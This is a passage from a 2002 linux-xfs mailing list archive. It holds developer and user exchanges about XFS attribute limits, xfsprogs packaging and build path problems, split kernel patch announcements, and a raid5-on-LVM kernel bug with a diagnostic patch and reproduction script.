(8.12.5/8.12.5/Debian-1) with ESMTP id g7D1vqRn001307; Tue, 13 Aug 2002 11:57:52 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7D1vhDT001305; Tue, 13 Aug 2002 11:57:43 +1000 Date: Tue, 13 Aug 2002 11:57:43 +1000 From: Nathan Scott To: joebacom@volstate.net Cc: linux-xfs@oss.sgi.com Subject: Re: Userspace questions Message-ID: <20020813015743.GF652@frodo> References: <200208130148.VAA30257@webcube2.volstate.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200208130148.VAA30257@webcube2.volstate.net> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 12, 2002 at 09:48:26PM -0400, joebacom@volstate.net wrote: > ... > 1. Is there a way to search the attribute value field somewhat like > you can the attribute name field (i.e. getfattr -m "expression")? No - since (unlike the name) the value can be arbitrary binary data, I'm not sure this makes too much sense. > 2. What are the limitations (if any) of storeing attribute information > in the journal? For instance when is too much, too much? Both XFS and the VFS limit each individual attribute to having a maximum of 64K of data. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Mon Aug 12 19:43:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D2hkRw012326 for ; Mon, 12 Aug 2002 19:43:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D2hkUw012325 for linux-xfs-outgoing; Mon, 12 Aug 2002 19:43:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D2heRw012291 for ; Mon, 12 Aug 2002 19:43:41 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA16677; Mon, 12 Aug 2002 21:46:00 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id VAA95982; Mon, 12 Aug 2002 21:46:00 -0500 (CDT) Date: Mon, 12 Aug 2002 21:40:40 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: utz lehmann cc: linux-xfs@oss.sgi.com Subject: Re: Wrong paths in xfsprogs-devel-2.1.2-0.i386.rpm In-Reply-To: <20020813023722.A2236@s2y4n2c.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ok, that was indeed a problem. Should be all better now, with the 2.2.1 version of xfsprogs/xfsprogs-devel. Thanks, -Eric On Tue, 13 Aug 2002, utz lehmann wrote: > Hi > > FYI: The paths in the xfsprogs-devel-2.1.2-0.i386.rpm from > ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/i386/ are wrong: From owner-linux-xfs@oss.sgi.com Mon Aug 12 20:03:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D33FRw013017 for ; Mon, 12 Aug 2002 20:03:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D33FvL013016 for linux-xfs-outgoing; Mon, 12 Aug 2002 20:03:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D337Rw012988 for ; Mon, 12 Aug 2002 20:03:07 -0700 Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id UAA01871 for ; Mon, 12 Aug 2002 20:05:33 -0700 (PDT) mail_from (kaos@sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id g7D34Vpx18205972; Mon, 12 Aug 2002 20:04:32 -0700 (PDT) Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id 1A5023000BA; Tue, 13 Aug 2002 13:04:31 +1000 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id 0735494; Tue, 13 Aug 2002 13:04:30 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: linux-xfs@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: Announce: XFS split patches for 2.4.19 - respin Date: Tue, 13 Aug 2002 13:04:25 +1000 Message-ID: <10392.1029207865@kao2.melbourne.sgi.com> X-Spam-Status: No, hits=-0.8 required=5.0 tests=MAY_BE_FORGED,PGP_SIGNATURE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19. The xfs patches for 2.4.19 have been respun as of 2002-08-13 01:22 UTC. This includes kdb v2.3 2.4.19 common-2, i386-3 plus some recent quota and acl fixes. For some time the XFS group have been producing split patches for XFS, separating the core XFS changes from additional patches such as kdb, xattr, acl, dmapi, kbuild 2.5. These patches were initially intended for internal use and for feeding to Linus but we got no response at all. The split patches are now being released to the world with the hope that developers and distributors will find them useful. Read the README in each directory very carefully, the split patch format has changed over a few kernel releases. Any questions that are covered by the README will be ignored. There is even a 2.4.20/README for the terminally impatient :). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE9WHc4i4UHNye0ZOoRApfUAJ9pHgjKao4t2659f5gQ932bfLJSpgCglw8r ZJo02LJ3ceD5krbk9MOfc4k= =EByk -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Aug 13 00:03:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D737Rw016059 for ; Tue, 13 Aug 2002 00:03:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D737rC016058 for linux-xfs-outgoing; Tue, 13 Aug 2002 00:03:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D72uRw016027 for ; Tue, 13 Aug 2002 00:02:58 -0700 Received: from erbenson.alaska.net (18-pm33.nwc.alaska.net [209.112.159.18]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7D75F5X037438 for ; Mon, 12 Aug 2002 23:05:16 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id B7E923A0E for ; Mon, 12 Aug 2002 23:05:14 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 4D77110294; Mon, 12 Aug 2002 23:05:14 -0800 (AKDT) Date: Mon, 12 Aug 2002 23:05:14 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: Patch for 2.4.19, acceptance into main kernel tree? Message-ID: <20020812230514.I23734@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <1029187448.264.34.camel@anabasis> <1029187318.13228.20.camel@stout.americas.sgi.com> <"from sandeen"@sgi.com> <20020812223240.A19899@infradead.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="k9xkV0rc9XGsukaG" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020812223240.A19899@infradead.org>; from hch@infradead.org on Mon, Aug 12, 2002 at 10:32:40PM +0100 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --k9xkV0rc9XGsukaG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 12, 2002 at 10:32:40PM +0100, Christoph Hellwig wrote: > On Mon, Aug 12, 2002 at 04:21:58PM -0500, Eric Sandeen wrote: > > Hi Roland -=20 > >=20 > > Please see ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19, and > > note that this is just a snapshot patch, not a well-tested release. >=20 > In fact the initial split patches contain a bug I'd consider serious. > Keith talked about respinnning them once kdb 2.3 is in, and I think > that would be a good very good idea. can you be more specific?=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --k9xkV0rc9XGsukaG Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1Yr6oACgkQJKx7GixEevxcvACglzv9Tttdu0wydM1hz+bvtNUs IDQAn1N+HAcmrjFYUoTZF5M294v44xwI =d7Ha -----END PGP SIGNATURE----- --k9xkV0rc9XGsukaG-- From owner-linux-xfs@oss.sgi.com Tue Aug 13 00:52:48 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D7qmRw016663 for ; Tue, 13 Aug 2002 00:52:48 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D7qm1D016662 for linux-xfs-outgoing; Tue, 13 Aug 2002 00:52:48 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D7qgRw016634 for ; Tue, 13 Aug 2002 00:52:43 -0700 Received: (qmail 27860 invoked by uid 0); 13 Aug 2002 07:55:03 -0000 Received: from gate.gmx.net (213.165.64.17) by mail.gmx.net (mp003-rz3) with SMTP; 13 Aug 2002 07:55:03 -0000 Received: from kt by gate.gmx.net with local (Exim 3.35 #1 (Debian)) id 17eWVD-0005fu-00; Tue, 13 Aug 2002 09:54:07 +0200 Date: Tue, 13 Aug 2002 09:54:07 +0200 From: Thomas Knauer To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com Subject: Re: Problems with mkfs.xfs 2.1.2 Message-ID: <20020813075407.GA21806@gmx-ag.de> References: <20020812180358.GA21283@gmx-ag.de> <20020812191220.A13618@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020812191220.A13618@infradead.org> User-Agent: Mutt/1.3.28i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, On Mon, Aug 12, 2002 at 07:12:20PM +0100, Christoph Hellwig wrote: > > # mkfs.xfs -V > > mkfs.xfs version 2.1.2 > > Could you try 2.2.1 (or a current CVS checkout)? I tried the latest CVS checkout and it worked out perfectly! Thank you very much for the little hint! All the best, Thomas From owner-linux-xfs@oss.sgi.com Tue Aug 13 06:29:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DDT0Rw003490 for ; Tue, 13 Aug 2002 06:29:00 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DDT0wr003486 for linux-xfs-outgoing; Tue, 13 Aug 2002 06:29:00 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (sproxy.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DDSpRw003433 for ; Tue, 13 Aug 2002 06:28:51 -0700 Received: (qmail 21526 invoked by uid 0); 13 Aug 2002 13:31:12 -0000 Received: from pd903bd70.dip.t-dialin.net (HELO gmx.de) (217.3.189.112) by mail.gmx.net (mp008-rz3) with SMTP; 13 Aug 2002 13:31:12 -0000 Message-ID: <3D590942.3000309@gmx.de> Date: Tue, 13 Aug 2002 15:27:30 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Probs while building xfsdump Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, The Problem with the path is now solved, thanx a lot! Here comes the next Prob by installing xfsdump.... I've done the following installation procedure on a new LFS sytem (with a fresh cvs checkout of the linux-2.4 branch of today): # cd attr # autoconf; ./configure --prefix=/usr # make && make install && make install-dev && make install-lib # ldconfig # cd ../acl # autoconf; ./configure --prefix=/usr # make && make install && make install-dev && make install-lib # ldconfig # cd ../xfsprogs # autoconf; ./configure --prefix=/usr # make && make install && make install-dev # ldconfig # cd ../dmapi # autoconf; ./configure --prefix=/usr # make && make install && make install-dev # ldconfig # cd ../xfsdump # autoconf; ./configure --prefix=/usr and here it stops with the foolowing error ..... checking xfs/libxfs.h usability... yes checking xfs/libxfs.h presence... yes checking for xfs/libxfs.h... yes checking for libxfs_init in -lxfs... no FATAL ERROR: could not find a valid XFS base library. Install either the xfsprogs-devel (rpm) or the xfslibs-dev (deb) package. Alternatively, run "make install-dev" from the xfsprogs source. hmm... /what's gone wrong here?? any hints?? (is there perhaps an error in my installation procedure?) regards micha From owner-linux-xfs@oss.sgi.com Tue Aug 13 08:00:01 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DF01Rw006218 for ; Tue, 13 Aug 2002 08:00:01 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DF01Ad006217 for linux-xfs-outgoing; Tue, 13 Aug 2002 08:00:01 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DExsRw006180 for ; Tue, 13 Aug 2002 07:59:54 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA20683; Tue, 13 Aug 2002 10:02:16 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA56914; Tue, 13 Aug 2002 10:02:16 -0500 (CDT) Subject: Re: Probs while building xfsdump From: Eric Sandeen To: Michael Wahlbrink Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D590942.3000309@gmx.de> References: <3D590942.3000309@gmx.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Aug 2002 09:56:52 -0500 Message-Id: <1029250612.14205.3.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Michael - I see this same behavior, and I don't think you're doing anything wrong... I'll take a look. Thanks, -Eric On Tue, 2002-08-13 at 08:27, Michael Wahlbrink wrote: > # cd ../xfsdump > # autoconf; ./configure --prefix=/usr > > and here it stops with the foolowing error > ..... > checking xfs/libxfs.h usability... yes > checking xfs/libxfs.h presence... yes > checking for xfs/libxfs.h... yes > checking for libxfs_init in -lxfs... no > > FATAL ERROR: could not find a valid XFS base library. > Install either the xfsprogs-devel (rpm) or the xfslibs-dev (deb) > package. > Alternatively, run "make install-dev" from the xfsprogs source. > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Aug 13 08:22:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DFM5Rw006515 for ; Tue, 13 Aug 2002 08:22:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DFM5d7006514 for linux-xfs-outgoing; Tue, 13 Aug 2002 08:22:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DFLuRw006486 for ; Tue, 13 Aug 2002 08:21:56 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA20857; Tue, 13 Aug 2002 10:24:18 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id KAA51081; Tue, 13 Aug 2002 10:24:18 -0500 (CDT) Subject: Re: Probs while building xfsdump From: Eric Sandeen To: Eric Sandeen Cc: Michael Wahlbrink , linux-xfs@oss.sgi.com In-Reply-To: <1029250612.14205.3.camel@stout.americas.sgi.com> References: <3D590942.3000309@gmx.de> <1029250612.14205.3.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Aug 2002 10:18:54 -0500 Message-Id: <1029251934.14229.8.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.5 required=5.0 tests=IN_REP_TO,FROM_AND_TO_SAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ok, it looks like at least xfsprogs has a strange desire to put libs in /usr/libexec. If you just type "make" it explicitly sets that dir to /usr/lib instead, so try: ./configure --prefix=/usr --libexecdir=/usr/lib for your configure options as a workaround, for now. You'll probably want to clean the cruft out of /usr/libexec, too. (Hm, an uninstall target would be nice, wouldn't it...) -Eric On Tue, 2002-08-13 at 09:56, Eric Sandeen wrote: > Hi Michael - I see this same behavior, and I don't think you're doing > anything wrong... I'll take a look. > > Thanks, > > -Eric > > On Tue, 2002-08-13 at 08:27, Michael Wahlbrink wrote: > > > # cd ../xfsdump > > # autoconf; ./configure --prefix=/usr > > > > and here it stops with the foolowing error > > ..... > > checking xfs/libxfs.h usability... yes > > checking xfs/libxfs.h presence... yes > > checking for xfs/libxfs.h... yes > > checking for libxfs_init in -lxfs... no > > > > FATAL ERROR: could not find a valid XFS base library. > > Install either the xfsprogs-devel (rpm) or the xfslibs-dev (deb) > > package. > > Alternatively, run "make install-dev" from the xfsprogs source. > > > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Aug 13 09:03:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DG3BRw007068 for ; Tue, 13 Aug 2002 09:03:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DG3Bqw007067 for linux-xfs-outgoing; Tue, 13 Aug 2002 09:03:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (sproxy.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DG33Rw007039 for ; Tue, 13 Aug 2002 09:03:03 -0700 Received: (qmail 30598 invoked by uid 0); 13 Aug 2002 16:05:25 -0000 Received: from pd903c263.dip.t-dialin.net (HELO gmx.de) (217.3.194.99) by mail.gmx.net (mp015-rz3) with SMTP; 13 Aug 2002 16:05:25 -0000 Message-ID: <3D592D6B.9050509@gmx.de> Date: Tue, 13 Aug 2002 18:01:47 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Probs while building xfsdump References: <3D590942.3000309@gmx.de> <1029250612.14205.3.camel@stout.americas.sgi.com> <1029251934.14229.8.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Eric, Thanks for the quick response! Eric Sandeen wrote: > Ok, it looks like at least xfsprogs has a strange desire to put libs in > /usr/libexec. If you just type "make" it explicitly sets that dir to > /usr/lib instead, so try: no its not only xfsprogs which takes things in /usr/libexec when building with ./configure --prefix=usr. also attr acl and dmapi stow some things in /usr/libexec grrrrrr....... (or is this correct??) > ./configure --prefix=/usr --libexecdir=/usr/lib Ok I'll do a rebuild today in the evening. > > for your configure options as a workaround, for now. You'll probably > want to clean the cruft out of /usr/libexec, too. (Hm, an uninstall > target would be nice, wouldn't it...) Yes this would be nice. ;-) But for now I can simply delete the directory /usr/libexec/cause it was empty before installing the stuff. And for the other things I should have a backup somewhere......... ;-) regards micha From owner-linux-xfs@oss.sgi.com Tue Aug 13 09:08:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DG8DRw007290 for ; Tue, 13 Aug 2002 09:08:13 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DG8CEa007289 for linux-xfs-outgoing; Tue, 13 Aug 2002 09:08:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DG85Rw007260 for ; Tue, 13 Aug 2002 09:08:05 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA21407 for ; Tue, 13 Aug 2002 11:10:28 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA15158 for ; Tue, 13 Aug 2002 11:10:27 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7DG8cE02375; Tue, 13 Aug 2002 11:08:38 -0500 Message-Id: <200208131608.g7DG8cE02375@jen.americas.sgi.com> Date: Tue, 13 Aug 2002 11:08:38 -0500 Subject: TAKE - rationalize xfs <-> pagebuf interface To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Another one from Christoph Date: Tue Aug 13 09:09:38 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124892a linux/fs/xfs/xfs_log.c - 1.252 linux/fs/xfs/xfs_rw.h - 1.67 linux/fs/xfs/xfs_rw.c - 1.363 linux/fs/xfs/xfs_buf.h - 1.93 linux/fs/xfs/xfs_vnodeops.c - 1.551 linux/fs/xfs/xfs_rtalloc.c - 1.77 linux/fs/xfs/xfs_inode_item.c - 1.103 linux/fs/xfs/xfs_qm_syscalls.c - 1.66 linux/fs/xfs/xfs_log_recover.c - 1.239 linux/fs/xfs/xfs_dquot_item.c - 1.30 linux/fs/xfs/xfs_vfsops.c - 1.368 linux/fs/xfs/xfs_dquot.c - 1.69 linux/fs/xfs/xfs_mount.h - 1.154 linux/fs/xfs/xfs_mount.c - 1.295 linux/fs/xfs/xfs_qm.c - 1.81 linux/fs/xfs/xfs_trans.h - 1.113 linux/fs/xfs/xfs_fsops.c - 1.84 linux/fs/xfs/xfs_trans_buf.c - 1.103 linux/fs/xfs/xfs_attr.c - 1.94 linux/fs/xfs/linux/xfs_lrw.c - 1.164 linux/fs/xfs/linux/xfs_super.h - 1.27 linux/fs/xfs/linux/xfs_super.c - 1.205 linux/fs/xfs/pagebuf/page_buf_locking.c - 1.24 linux/fs/xfs/pagebuf/page_buf.h - 1.34 From owner-linux-xfs@oss.sgi.com Tue Aug 13 12:06:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DJ6qRw026154 for ; Tue, 13 Aug 2002 12:06:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DJ6qxE026153 for linux-xfs-outgoing; Tue, 13 Aug 2002 12:06:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DJ6eRw026123 for ; Tue, 13 Aug 2002 12:06:40 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA24188; Tue, 13 Aug 2002 14:09:02 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA04738; Tue, 13 Aug 2002 14:09:02 -0500 (CDT) Subject: Re: kernel BUG at filemap.c:843! From: Eric Sandeen To: James Lee Cc: linux-xfs@oss.sgi.com, ilmari@ping.uio.no In-Reply-To: <012301c241cb$16ea8530$fe232fd1@corona> References: <012301c241cb$16ea8530$fe232fd1@corona> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Aug 2002 14:03:36 -0500 Message-Id: <1029265417.14205.29.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-8.9 required=5.0 tests=IN_REP_TO,PLING,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi guys - We treat MD and LVM somewhat specially, and I wonder if in this case MD is masking the fact that you're using LVM, and that might be where the problem starts. Can you try this patch, which will cause LVM & MD to be treated the same, to see if it helps? It's probably not the final solution, but it might offer some hints. Thanks, -Eric --- linux/fs/xfs/pagebuf/page_buf_locking.c_1.24 Tue Aug 13 14:05:18 2002 +++ linux/fs/xfs/pagebuf/page_buf_locking.c Tue Aug 13 13:59:37 2002 @@ -198,7 +196,7 @@ pagebuf_target_blocksize(target, PAGE_CACHE_SIZE); if ((MAJOR(dev) == MD_MAJOR) || (MAJOR(dev) == EVMS_MAJOR)) - target->pbr_flags = PBR_ALIGNED_ONLY; + target->pbr_flags = PBR_SECTOR_ONLY; else if (MAJOR(dev) == LVM_BLK_MAJOR) target->pbr_flags = PBR_SECTOR_ONLY; else On Mon, 2002-08-12 at 01:40, James Lee wrote: > Hi, > > I'm also having the exactly same problem. > Tested with 2.4.19-xfs(checked out from SGI's CVS on Aug 10) on Redhat 7.2. > Kernel and userland tools are compiled with gcc 2.91.66 > The following is the result of some tests: > > scsidisks -> xfs: OK > scsidisks -> raid5 -> xfs: OK > scsidisks -> lvm -> xfs: OK > scsidisks -> raid0 -> lvm -> xfs: OK > scsidisks -> raid1 -> lvm -> xfs: OK > scsidisks -> raid5 -> lvm -> xfs: kernel BUG at filemap.c:843! > > This problem is always reproducible with the following shell script: > > #!/bin/sh > mkraid /dev/md0 > vgcreate VolumeGroup /dev/md0 > lvcreate -L1G -nTestVolume VolumeGroup > mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume > mount -t xfs /dev/VolumeGroup/TestVolume > /mnt -onoatime,nodiratime,usrquota,grpquota > > Whenever I run the above script, mount command always generates kernel oops. > But, if I insert some delay as of the following, then mount goes well: -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Aug 13 12:57:14 2002 Received: from oss.sgi.com (localhost 